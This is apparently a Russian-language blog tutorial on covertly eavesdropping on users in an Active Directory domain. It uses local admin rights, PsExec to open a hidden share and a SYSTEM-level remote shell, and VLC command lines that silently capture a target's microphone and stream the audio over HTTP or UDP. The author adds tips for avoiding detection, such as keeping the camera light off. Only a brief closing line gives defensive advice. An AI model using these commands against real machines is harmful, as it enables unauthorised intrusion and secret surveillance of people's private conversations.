Введение
Я только недавно столкнулся с виндовыми доменами (Active Directory) и познаю много нового и удивительного. Так уж получилось, что значительное количество пользователей в домене организации имеют права локальных админов (технические специалисты, программисты и другие) (ведь не редко так бывает?). Но последствия от этого колоссальны. В данной статье мы рассмотрим как можно подслушивать звуки (разговоры, переговоры) на удаленных машинах.
Необходимо иметь
- Пользователя в AD с правами локальных админов (или просто знать пароль от локальных админов)
- Аппаратное средство захвата звука (микрофон) на целевой машине. Наиболее удобный случай — целевая машина является ноутбуком, там встроенный микрофон (и камера :D). Так же нам повезло, если на удаленной машине используется веб-камера или наушники с микрофоном. В противном случае часто можно и самому воткнуть микрофон без палева.
- Программа захвата и передачи мультимедиа по сети. Будем использовать плеер vlc. (никаких троянов! :))
- Программа удаленного запуска процессов. Воспользуется psexec из набора PsTools. Великолепно подходит для AD, правда для ее использования как раз и надо иметь права локального админа на целевой машине. Примечательно, что запущенные процессы исполняются от имени SYSTEM (!).
Практика
- Для начала нам нужно закинуть дистрибутив vlc на удаленную машину, если его там не было. Это можно сделать воспользовавшись системными общеми ресурсами типа C$, D$… то есть \\target\C$\. Если общих ресурсов не открыто (значит специально закрыли), то можно будет открыть общий сетевой ресурс при помощи PsExec командой вида:
net share C$=C:\
Символ $ на конце означает что сетевой ресурс не будет отображаться в списке открытых сетевых ресурсов компьютера по умолчанию. И так, тривиальным образом закидываем дистрибутив vlc на удаленную машину. - Далее, для запуска vlc нам нужен cmd от удаленной машины. Воспользуемся PsExec, выполнив команду типа:
psexec.exe \\target\ cmd
Соответственно мы получим cmd от целевой машины. Окна запущенных программ не будут отображаться на ней (будут, если использовать ключ -i у PsExec). Кстати, PsExec умеет заливать запускаемый файл на удаленную машину, если указать ключ -c. Идем в папку с дистрибутивом vlc.
- Теперь самое интересное: запуск vlc с необходимыми параметрами. Для определения параметров командной строки для запуска vlc, мы запустим его у себя, выставим необходимые настройки и посмотрим что за команда получилась. Запускаем vlc, нажимаем медиа -> потоковое вещание. Вкладка «Устройство захвата». Видео устройство поставим на «нет» для избежания лишних ошибок в случае отсутствия камеры и обнаружения нас, в случае если на камере загорится лампочка. Ставим галочку в низу «дополнительные параметры» и смотрим параметры командрой строки.
Берем от туда "dshow://" (то есть источник — устройства захвата) и " :dshow-vdev=none :dshow-adev= :dshow-caching=200" (то есть, видео устройство — нет; аудио устройство — по умолчанию; кэширование — 200 мс.). Теперь надо настроить вещание нашего мультимедиа, ждем «Поток». В пути назначения добавляем желаемые пути. Я выбрал http с портом 8080, то есть на целевой машине поднимается веб-сервер, с которого можно слушать. Предпочтительнее, конечно, выбирать вещание на нашу машину (или не нашу, от куда перенаправлять при помощи netcat). Уберем галку «включить перекодирование». Перейдем во вкладку параметры и скопируем получившиеся настройки.
У меня это ":sout=#http{mux=ffmpeg{mux=flv},dst=:8080/} :no-sout-rtp-sap :no-sout-standard-sap :sout-keep" - Таким образом, команда запуска vlc на удаленной машине принимает вид:
vlc.exe dshow:// :dshow-vdev=none :dshow-adev= :dshow-caching=200 :sout=#transcode{vcodec=h264,vb=0,scale=0,acodec=mp4a,ab=128,channels=2,samplerate=44100}:http{mux=ffmpeg{mux=flv},dst=:8080/} :no-sout-rtp-sap :no-sout-standard-sap :sout-keep
Можем запускать. Если все хорошо, то целевая машина уже ожидает нашего соединения на порту 8080. - Запускаем наш vlc на нашей машине, с которой будем слушать. Если подключение к веб серверу, то запустить можно с такими аргументами:
vlc.exe http:// target:8080 (без пробела после http://)
Если идет вещание на наш компьютер (например по udp на порт 1234), то запустить vlc следует так:
vlc.exe udp://@:1234 - Если все путем, то слушаем
Заключения
Очень важно минимизировать привилегии пользователей AD.
PsExec работает через общедоступный ресурс admin$, но его закрытия могут негативно повлиять на работу в AD. Как точно, не гуглил, но мало ли.
С некоторыми модификациями способ прокатит не только в AD.
Линки
Хорошее описание PsExec
Wiki по VLC.